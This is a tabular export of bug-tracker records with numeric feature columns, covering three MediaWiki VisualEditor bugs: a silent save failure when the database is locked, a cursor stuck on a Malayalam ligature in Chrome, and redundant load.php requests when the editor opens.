**Attached**: {F11178}",High,80.0,1374179880,1374676801.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7rwifffi3m7nv3vjbxms,task_description,resolved,True,c1,3,False,False,True,2,,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,3.0,2.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,0.0,11.0,0.0,1.5,5.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,4.0,2.5,2.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,3.2232704402515724,0.6160027952480782,"**Author:** CODE

**Description:**
This shows the article and the visual editor save dialog

I added a link to a new page but it wouldn't let me save my edit. Every time I saved it would load but then display the save page dialog again.

I ended up creating the link in the source.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11178}"
235136,VisualEditor: Saving fails silently when the database is locked,Fixed and will get deployed in a few minutes' time.,,,1374676801,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,True,,,3,,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Fixed and will get deployed in a few minutes' time.
235128,VisualEditor: Saving fails silently when the database is locked,"Change 75561 merged by jenkins-bot:
Show error when trying to save in read-only mode

https://gerrit.wikimedia.org/r/75561",,,1374676554,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8181818181818183,0.9545454545454546,"Change 75561 merged by jenkins-bot:
Show error when trying to save in read-only mode

GERRIT_URL"
235121,VisualEditor: Saving fails silently when the database is locked,"Change 75561 had a related patch set uploaded by Esanders:
Show when trying to save in read-only mode

https://gerrit.wikimedia.org/r/75561",,,1374658384,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.041666666666667,1.0,"Change 75561 had a related patch set uploaded by Esanders:
Show when trying to save in read-only mode

GERRIT_URL"
235115,VisualEditor: Saving fails silently when the database is locked,"Two other users have reported the same thing on en.wikipedia, so the cause was the database being locked.

Could be related to Bug 50472 which is marked as fixed but has apparently not yet been deployed?",,,1374182584,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,10.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.225,0.95,"Two other users have reported the same thing on en.wikipedia, so the cause was the database being locked.

Could be related to Bug 50472 which is marked as fixed but has apparently not yet been deployed?"
235109,VisualEditor: Saving fails silently when the database is locked,"**kwang** wrote:

error while editing source code.

**Attached**: {F11179}",,,1374180001,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.8333333333333335,0.625,"**kwang** wrote:

error while editing source code.

**Attached**: {F11179}"
235103,VisualEditor: Saving fails silently when the database is locked,"**kwang** wrote:

More details: when I edited the source it said that the database was locked. This is likely the issue that was happening, but the error wasn't showing up in the visual editor.",,,1374179974,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,7.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,2.0,3.577777777777778,0.7333333333333333,"**kwang** wrote:

More details: when I edited the source it said that the database was locked. This is likely the issue that was happening, but the error wasn't showing up in the visual editor."
53596,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Browser: Chrome any version.

1. Open VE
2. Type or copy-paste സന്തോഷ്
3. Move the cursor to the end of that word.
4. Press left arrow to move the caret backwards.
5. In the second keypress onwards cursor is stuck.(like സന്തോ|ഷ് )

Expected: cursor keep moving to left. 

Observed. cursor stuck.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374128220,1385506972.0,PHID-USER-m2yck6646cdt5t6zkta4,False,,False,PHID-TASK-p5bbvutzsk36zk6seh2n,task_description,resolved,True,c1,3,False,False,False,2,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,13.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.5494505494505493,0.5934065934065934,"Browser: Chrome any version.

1. Open VE
2. Type or copy-paste സന്തോഷ്
3. Move the cursor to the end of that word.
4. Press left arrow to move the caret backwards.
5. In the second keypress onwards cursor is stuck.(like സന്തോ|ഷ് )

Expected: cursor keep moving to left. 

Observed. cursor stuck.

--------------------------
**Version**: unspecified
**Severity**: normal"
233027,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

https://gerrit.wikimedia.org/r/80689",,,1385506388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

GERRIT_URL"
233021,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Change 80689 had a related patch set uploaded by Divec:
DONTMERGE:Revert model to use simple UTF-16 code units

https://gerrit.wikimedia.org/r/80689",,,1384946968,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.9583333333333334,"Change 80689 had a related patch set uploaded by Divec:
DONTMERGE:Revert model to use simple UTF-16 code units

GERRIT_URL"
233015,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.,,,1381269307,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8095238095238095,There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.
233007,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"There's code to address this bug in the following patch, which is due to go live on mediawiki.org by 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

It does not fix this completely, but it does make it possible to cursor left through the cluster with repeated consecutive keypresses.",,,1378943326,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,6.0,15.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.1923076923076925,0.8461538461538461,"There's code to address this bug in the following patch, which is due to go live on mediawiki.org by 13 September 2013:

URL

It does not fix this completely, but it does make it possible to cursor left through the cluster with repeated consecutive keypresses."
233001,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Debug Information:

Grapheme breaks as per unicodejs:
0: ""സ""
1: ""ന്""
2: ""തോ""
3: ""ഷ്""

Ligature break 1 and 2 logically wrong because they form a single cluster ന്തോ. You cannot place a cursor in between this cluster. It is a single syllable too. Firefox allows you to place the cursor at all of these breaks anyway. Infact Firefox allows you to place the cursor even inside ligature programatically. Chrome allows cursor positioning only at logical positions.

In this specific case. VE is asking Chrome to place the cursor at end of  grapheme break #1(ന്). but Chrome does not obey it and place it at the end of #2 (തോ). This repeats in every left cursor movement and it looks like cursor is stuck at the end of തോ.

In my quick observation those logical positions does not match with the grapheme cluster boundary specification of Unicode (www.unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries).

That causes lot of inconstancy in the offset known to the data model of VE and the actual offset appearing in browser. It will lead to many unexpected behavior of cursor positioning and text selections.",,,1374128971,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.3333333333333333,1.0,4.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,3.0,11.666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.666666666666667,0.3333333333333333,2.0,0.3333333333333333,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,14.666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,4.666666666666667,1.0,7.333333333333333,0.3333333333333333,2.3333333333333335,7.333333333333333,0.0,0.0,0.0,0.6666666666666666,3.0,0.0,2.6666666666666665,0.0,3.6666666666666665,11.666666666666666,5.333333333333333,0.0,2.6666666666666665,0.0,3.6666666666666665,0.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,4.127894736842105,0.7081286549707603,"Debug Information:

Grapheme breaks as per unicodejs:
0: ""സ""
1: ""ന്""
2: ""തോ""
3: ""ഷ്""

Ligature break 1 and 2 logically wrong because they form a single cluster ന്തോ. You cannot place a cursor in between this cluster. It is a single syllable too. Firefox allows you to place the cursor at all of these breaks anyway. Infact Firefox allows you to place the cursor even inside ligature programatically. Chrome allows cursor positioning only at logical positions.

In this specific case. VE is asking Chrome to place the cursor at end of  grapheme break #1(ന്). but Chrome does not obey it and place it at the end of #2 (തോ). This repeats in every left cursor movement and it looks like cursor is stuck at the end of തോ.

In my quick observation those logical positions does not match with the grapheme cluster boundary specification of Unicode (www.unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries).

That causes lot of inconstancy in the offset known to the data model of VE and the actual offset appearing in browser. It will lead to many unexpected behavior of cursor positioning and text selections."
53569,Reduce number of load.php calls on VisualEditor open (down from 3),"On a regular page load:

* http://en.wikipedia.org/wiki/Roadblock_(disambiguation)
* Logged-out (Chromium Incognito mode)

We get this (did a full analysis while I had the data in front of me, but focus on ""On Edit"":

Top:
 - [core]   load.php?modules=startup
 - [misc]   load.php?modules=.. top queue ...
 - [vector] load.php?modules=ext.vector.footerCleanup (bug 51564)
 * [ve]     load.php?modules=ext.visualEditor.viewPageTarget.init
 - [core]   load.php?modules=site

Bottom:
 - [misc]   load.php?modules=.. bottom queue ...
 - [vector] load.php?modules=ext.vector.collapsibleNav (bug 51564)
 - [misc]   load.php?modules=.. jquery.ui ...
    (dependency of something in the bottom queue, separate cache group)

On Edit:
 * [ve]     load.php?modules=ext.visualEditor.base,mediawiki,viewPageTarget|jquery.visibleText|oojs|unicodejs.wordbreak
 * [ve]     load.php?modules=jquery.byteLength,byteLimit|mediawiki.api.edit|mediawiki.feedback|ext.visualEditor.core,icons-vector|ext.visualEditor.viewPageTarget.icons-vector|rangy
 * [ve]     load.php?modules=ext.visualEditor.specialMessages
 - [ve]     api.php POST action=visualeditor & paction=parse
 - [ve]     api.php?action=query&meta=userinfo

These shouldn't be 3 separate load.php requests. Ideally it'd be 1, but we should at least cut it down to 2. We should figure out why they are split.",High,80.0,1374089160,1426388649.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,2.0,0.0,1.3333333333333333,5.333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.333333333333334,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,6.0,0.6666666666666666,1.3333333333333333,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.3333333333333335,5.333333333333333,5.0,0.0,0.6666666666666666,0.0,3.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,9.0,5.337837837837838,0.6396396396396397,"On a regular page load:

* URL
* Logged-out (Chromium Incognito mode)

We get this (did a full analysis while I had the data in front of me, but focus on ""On Edit"":

Top:
 - [core]   load.php?modules=startup
 - [misc]   load.php?modules=.. top queue ...
 - [vector] load.php?modules=ext.vector.footerCleanup (bug 51564)
 * [ve]     load.php?modules=ext.visualEditor.viewPageTarget.init
 - [core]   load.php?modules=site

Bottom:
 - [misc]   load.php?modules=.. bottom queue ...
 - [vector] load.php?modules=ext.vector.collapsibleNav (bug 51564)
 - [misc]   load.php?modules=.. jquery.ui ...
    (dependency of something in the bottom queue, separate cache group)

On Edit:
 * [ve]     load.php?modules=ext.visualEditor.base,mediawiki,viewPageTarget|jquery.visibleText|oojs|unicodejs.wordbreak
 * [ve]     load.php?modules=jquery.byteLength,byteLimit|mediawiki.api.edit|mediawiki.feedback|ext.visualEditor.core,icons-vector|ext.visualEditor.viewPageTarget.icons-vector|rangy
 * [ve]     load.php?modules=ext.visualEditor.specialMessages
 - [ve]     api.php POST action=visualeditor & paction=parse
 - [ve]     api.php?action=query&meta=userinfo

These shouldn't be 3 separate load.php requests. Ideally it'd be 1, but we should at least cut it down to 2. We should figure out why they are split."
427961,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 197402 merged by jenkins-bot:
Load RL modules in one load.php request, rather than in two stages

[[https://gerrit.wikimedia.org/r/197402]]",,,1426626118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7142857142857144,0.8928571428571429,"Change 197402 merged by jenkins-bot:
Load RL modules in one load.php request, rather than in two stages

[[GERRIT_URL]]"
427918,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 197402 had a related patch set uploaded (by Jforrester):
Load RL modules in one load.php request, rather than in two stages

[[https://gerrit.wikimedia.org/r/197402]]
",,,1426622545,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.8484848484848486,0.8787878787878788,"Change 197402 had a related patch set uploaded (by Jforrester):
Load RL modules in one load.php request, rather than in two stages

[[GERRIT_URL]]
"
426507,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 193026 merged by jenkins-bot:
Load RL modules in one load.php request, rather than in two stages

[[https://gerrit.wikimedia.org/r/193026]]",,,1426388603,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,88,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7142857142857144,0.8928571428571429,"Change 193026 merged by jenkins-bot:
Load RL modules in one load.php request, rather than in two stages

[[GERRIT_URL]]"
449826,Reduce number of load.php calls on VisualEditor open (down from 3),"Saves 1 request and 3KB.

From 20 total request (521KB), to 19 total requests (518KB).

Tested on localhost. (Page view + load editor; includes two EventLogging requests and some images).",,,1430162161,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,True,,,95,,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.404255319148936,0.7021276595744681,"Saves 1 request and 3KB.

From 20 total request (521KB), to 19 total requests (518KB).

Tested on localhost. (Page view + load editor; includes two EventLogging requests and some images)."
426504,Reduce number of load.php calls on VisualEditor open (down from 3),"Saves 1 request and 3KB.

From 20 total request (512KB), to 19 total requests (518KB).

Tested on localhost. (Page view + load editor; includes two EventLogging requests and some images).",,,1426382771,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,True,,,88,,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.404255319148936,0.7021276595744681,"Saves 1 request and 3KB.

From 20 total request (512KB), to 19 total requests (518KB).

Tested on localhost. (Page view + load editor; includes two EventLogging requests and some images)."
419493,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 193026 had a related patch set uploaded (by Jforrester):
[WIP] Factor out loading code into TargetLoader

[[https://gerrit.wikimedia.org/r/193026]]
",,,1425330752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,14.0,3.896551724137931,0.8275862068965517,"Change 193026 had a related patch set uploaded (by Jforrester):
[WIP] Factor out loading code into TargetLoader

[[GERRIT_URL]]
"
